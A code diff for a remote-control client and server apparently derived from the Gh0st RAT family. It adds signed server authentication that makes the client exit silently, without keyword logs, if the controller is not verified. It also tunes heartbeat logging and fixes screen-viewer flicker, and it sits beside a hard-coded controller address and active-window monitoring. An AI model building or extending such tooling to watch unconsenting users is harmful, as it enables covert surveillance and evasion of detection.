diff --git a/client/sign_shim_unix.cpp b/client/sign_shim_unix.cpp
new file mode 100644
index 0000000..99ac06e
--- /dev/null
+++ b/client/sign_shim_unix.cpp
@@ -0,0 +1,52 @@
+// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
+//
+// libsign.a 公开 ABI 是 C linkage（避免 std::string 跨编译器/跨 libstdc++
+// 版本 ABI 风险），但 YAMA 客户端代码（IOCPClient.cpp / KernelManager.cpp /
+// linux/main.cpp / macos/main.mm）习惯用 std::string 调用 signMessage /
+// verifyMessage。本文件提供 C++ 适配，让两边契合。
+//
+// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
+
+#include <string>
+#include <cstring>
+
+// libsign.a 提供的 C 接口
+extern "C" {
+    int signMessage_c(const char* privateKey, int privateKeyLen,
+                      const unsigned char* msg, int msgLen,
+                      char* outBuf, int outBufSize);
+    int verifyMessage_c(const char* publicKey, int publicKeyLen,
+                        const unsigned char* msg, int msgLen,
+                        const char* sigHex, int sigLen);
+    int isVerifyCalled_c(void);
+}
+
+// 与 YAMA common/commands.h 中 BYTE 一致
+typedef unsigned char BYTE;
+
+// ============================================================================
+// 提供 YAMA 既有声明所期望的 C++ 符号
+// ============================================================================
+
+std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
+{
+    char buf[65] = {};
+    int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
+                          msg, len,
+                          buf, sizeof(buf));
+    if (n != 64) return std::string();
+    return std::string(buf, 64);
+}
+
+bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
+                   const std::string& signature)
+{
+    return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
+                           msg, len,
+                           signature.data(), (int)signature.size()) != 0;
+}
+
+int isVerifyCalled()
+{
+    return isVerifyCalled_c();
+}
diff --git a/common/commands.h b/common/commands.h
index 082449a..415c66b 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -1014,7 +1014,14 @@ typedef struct  LOGIN_INFOR {
     {
         memset(this, 0, sizeof(LOGIN_INFOR));
         bToken = TOKEN_LOGIN;
-        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8 | CLIENT_CAP_SCREEN_PREVIEW);
+        // 能力位：声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
+        // 实现（依赖 GDI BitBlt + GDI+ JPEG），Linux/macOS 不声明，避免服务端发请求
+        // 后等 4s 超时显示"预览不可用"。
+        unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+#ifdef _WIN32
+        caps |= CLIENT_CAP_SCREEN_PREVIEW;
+#endif
+        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
     }
     LOGIN_INFOR& Speed(unsigned long speed)
     {
diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt
index a2926ff..6863f3c 100644
--- a/linux/CMakeLists.txt
+++ b/linux/CMakeLists.txt
@@ -28,6 +28,7 @@ set(SOURCES
     main.cpp
     ../client/Buffer.cpp
     ../client/IOCPClient.cpp
+    ../client/sign_shim_unix.cpp
 )
 add_executable(ghost ${SOURCES})
 
@@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
 message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
 target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
 
+# 链接私有签名库（提供 signMessage / verifyMessage，源码不开源）
+# 该库由 SimplePlugins 仓库本地构建后放置于 lib/，构建机需先准备好
+target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
+
+# libsign.a 内部使用 OpenSSL HMAC，需要在最终可执行链接 libcrypto
+find_package(OpenSSL REQUIRED)
+target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
+
 # 链接 dl 库（dlopen/dlsym 用于运行时加载 X11）
 target_link_libraries(ghost PRIVATE dl)
 
diff --git a/linux/lib/libsign.a b/linux/lib/libsign.a
new file mode 100644
index 0000000..c86f400
Binary files /dev/null and b/linux/lib/libsign.a differ
diff --git a/linux/main.cpp b/linux/main.cpp
index 1e53bf9..7ee772c 100644
--- a/linux/main.cpp
+++ b/linux/main.cpp
@@ -46,6 +46,11 @@ static std::atomic<bool> g_needResendLogin(false);  // 分组变更后需要重
 // 客户端 ID（V2 文件传输需要）
 uint64_t g_myClientID = 0;
 
+// 服务端身份校验：登录消息（签名输入），登录时间，是否已通过校验
+std::string g_loginMsg;
+time_t g_loginTime = 0;
+bool g_settingsVerified = false;
+
 // ============== UTF-8 → GBK 编码转换（服务端为 Windows GBK 环境） ==============
 
 static std::string utf8ToGbk(const std::string& utf8)
@@ -467,18 +472,38 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
             uint64_t now = GetUnixMs();
             double rtt_ms = (double)(now - ack->Time);
             g_rttEstimator.update_from_sample(rtt_ms);
-            Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
-                    user, rtt_ms, g_rttEstimator.srtt * 1000);
+            // 心跳节奏太密日志会刷屏；最多 60s 一行
+            static time_t lastAckLog = 0;
+            time_t now_s = time(nullptr);
+            if (now_s - lastAckLog >= 60) {
+                lastAckLog = now_s;
+                Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
+                        user, rtt_ms, g_rttEstimator.srtt * 1000);
+            }
         }
     } else if (szBuffer[0] == CMD_MASTERSETTING) {
         int settingSize = ulLength - 1;
-        if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
-            MasterSettings settings = {};
-            memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
-            if (settings.ReportInterval > 0)
-                g_heartbeatInterval = settings.ReportInterval;
-            Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
+        // 强制要求完整 MasterSettings（包含 Signature 字段）。包不完整 → 视为非授权服务端
+        if (settingSize < (int)sizeof(MasterSettings)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
         }
+        MasterSettings settings = {};
+        memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
+
+        // 服务端身份校验：用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
+        // 验证签名。失败 → 静默退出（不打印关键词日志）
+        extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
+        std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
+        if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
+        g_settingsVerified = true;
+
+        if (settings.ReportInterval > 0)
+            g_heartbeatInterval = settings.ReportInterval;
+        Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
     } else if (szBuffer[0] == COMMAND_NEXT) {
         Mprintf("** [%p] Received 'NEXT' command ***\n", user);
     } else if (szBuffer[0] == COMMAND_C2C_TEXT) {
@@ -1090,6 +1115,9 @@ int main(int argc, char* argv[])
     logInfo.AddReserved((int)getpid());                               // [17] RES_PID
     logInfo.AddReserved(getFileSize(exePath).c_str());                // [18] RES_FILESIZE
 
+    // 服务端签名输入：与服务端 AddList 处签名格式一致（startTime + "|" + clientID）
+    g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
+
     // 初始化用户活动检测器（用于心跳包中的 ActiveWnd 字段）
     ActivityChecker activityChecker;
 
@@ -1102,6 +1130,9 @@ int main(int argc, char* argv[])
             continue;
         }
 
+        // 进入新连接，重置服务端身份校验状态
+        g_loginTime = time(nullptr);
+        g_settingsVerified = false;
         ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
 
         // 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
@@ -1131,6 +1162,13 @@ int main(int argc, char* argv[])
             if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
                 break;
 
+            // 兜底：登录后 30 秒内必须收到并通过 MasterSettings 校验，否则视为非授权服务端
+            if (!g_settingsVerified && g_loginTime > 0 &&
+                time(nullptr) - g_loginTime > 30) {
+                g_bExit = S_CLIENT_EXIT;
+                break;
+            }
+
             // 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
             std::string activity = utf8ToGbk(activityChecker.Check());
 
@@ -1143,8 +1181,14 @@ int main(int argc, char* argv[])
             buf[0] = TOKEN_HEARTBEAT;
             memcpy(buf + 1, &hb, sizeof(Heartbeat));
             ClientObject->Send2Server((char*)buf, sizeof(buf));
-            Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
-                    hb.Ping, interval, activity.c_str());
+            // 心跳节奏太密日志会刷屏；最多 60s 一行
+            static time_t lastSendLog = 0;
+            time_t now_s = time(nullptr);
+            if (now_s - lastSendLog >= 60) {
+                lastSendLog = now_s;
+                Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
+                        hb.Ping, interval, activity.c_str());
+            }
         }
     }
 
diff --git a/macos/CMakeLists.txt b/macos/CMakeLists.txt
index 638ce65..4e1f141 100644
--- a/macos/CMakeLists.txt
+++ b/macos/CMakeLists.txt
@@ -19,6 +19,7 @@ set(SOURCES
     main.mm
     ../client/Buffer.cpp
     ../client/IOCPClient.cpp
+    ../client/sign_shim_unix.cpp
     ScreenHandler.mm
     InputHandler.mm
     SystemManager.mm
@@ -62,6 +63,11 @@ target_link_libraries(ghost PRIVATE
     ${ACCELERATE_FRAMEWORK}
     ${ICONV_LIBRARY}
     "${CMAKE_SOURCE_DIR}/lib/libzstd.a"
+    # 私有签名库（提供 signMessage / verifyMessage，源码不开源）
+    # 该库由 SimplePlugins 仓库本地构建后放置于 lib/，构建机需先准备好
+    # libsign.a 内部使用 macOS CommonCrypto（HMAC-SHA256），CCHmac 在 libSystem
+    # 中已被 Cocoa/CoreFoundation 等链接自动引入，故此处无需额外 framework
+    "${CMAKE_SOURCE_DIR}/lib/libsign.a"
 )
 
 # Compiler flags
diff --git a/macos/lib/libsign.a b/macos/lib/libsign.a
new file mode 100644
index 0000000..a8cc930
Binary files /dev/null and b/macos/lib/libsign.a differ
diff --git a/macos/main.mm b/macos/main.mm
index 79abb78..1989d24 100644
--- a/macos/main.mm
+++ b/macos/main.mm
@@ -36,6 +36,11 @@ static std::atomic<bool> g_needResendLogin(false);  // 分组变更后需要重
 // Client ID (calculated from system info, used by ScreenHandler)
 uint64_t g_myClientID = 0;
 
+// 服务端身份校验：登录消息（签名输入），登录时间，是否已通过校验
+std::string g_loginMsg;
+time_t g_loginTime = 0;
+bool g_settingsVerified = false;
+
 // 远程地址：当前为写死状态，如需调试，请按实际情况修改
 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
 
@@ -626,6 +631,9 @@ static void fillLoginInfo(LOGIN_INFOR& info)
     }
     info.AddReserved(std::to_string(g_myClientID).c_str());
 
+    // 服务端签名输入：与服务端 AddList 处签名格式一致（startTime + "|" + clientID）
+    g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
+
     NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
           osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
 }
@@ -849,13 +857,27 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
         }
     } else if (szBuffer[0] == CMD_MASTERSETTING) {
         int settingSize = ulLength - 1;
-        if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
-            MasterSettings settings = {};
-            memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
-            if (settings.ReportInterval > 0)
-                g_heartbeatInterval = settings.ReportInterval;
-            Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
+        // 强制要求完整 MasterSettings（包含 Signature 字段）。包不完整 → 视为非授权服务端
+        if (settingSize < (int)sizeof(MasterSettings)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
         }
+        MasterSettings settings = {};
+        memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
+
+        // 服务端身份校验：用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
+        // 验证签名。失败 → 静默退出（不打印关键词日志）
+        extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
+        std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
+        if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
+            g_bExit = S_CLIENT_EXIT;
+            return TRUE;
+        }
+        g_settingsVerified = true;
+
+        if (settings.ReportInterval > 0)
+            g_heartbeatInterval = settings.ReportInterval;
+        Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
     } else if (szBuffer[0] == COMMAND_NEXT) {
         Mprintf("** [%p] Received 'NEXT' command ***\n", user);
     } else if (szBuffer[0] == CMD_SET_GROUP) {
@@ -981,6 +1003,9 @@ int main(int argc, const char* argv[])
                 continue;
             }
 
+            // 进入新连接，重置服务端身份校验状态
+            g_loginTime = time(nullptr);
+            g_settingsVerified = false;
             ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
 
             // 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
@@ -1002,6 +1027,13 @@ int main(int argc, const char* argv[])
                 if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
                     break;
 
+                // 兜底：登录后 30 秒内必须收到并通过 MasterSettings 校验，否则视为非授权服务端
+                if (!g_settingsVerified && g_loginTime > 0 &&
+                    time(nullptr) - g_loginTime > 30) {
+                    g_bExit = S_CLIENT_EXIT;
+                    break;
+                }
+
                 // 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
                 std::string activity = getActiveApp();
 
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index 6a542a8..2265a8f 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -499,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
     ON_WM_LBUTTONDBLCLK()
     ON_WM_ACTIVATE()
     ON_WM_TIMER()
+    ON_WM_ERASEBKGND()
     ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
     ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
     ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
@@ -1608,6 +1609,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
     return false;
 }
 
+// 跳过默认背景擦除：随帧重绘时若先 FillRect 灰色再 BitBlt 帧，会在两步之间
+// 出现"瞬时灰背景"，启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘，
+// 灰一闪 → 帧覆盖 → 重画光标，循环看上去就是光标频繁闪烁。
+// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区，本就不需要先擦；
+// m_bIsFirst（首帧未到达）仍走默认擦除以避免显示残留内容。
+BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
+{
+    if (m_bIsFirst) {
+        return __super::OnEraseBkgnd(pDC);
+    }
+    return TRUE;
+}
+
 void CScreenSpyDlg::OnPaint()
 {
     if (m_bIsClosed) return;
diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h
index d5aa5b0..59657c6 100644
--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -356,6 +356,7 @@ public:
     virtual BOOL OnInitDialog();
     afx_msg void OnClose();
     afx_msg void OnPaint();
+    afx_msg BOOL OnEraseBkgnd(CDC* pDC);
     BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
     afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
     virtual BOOL PreTranslateMessage(MSG* pMsg);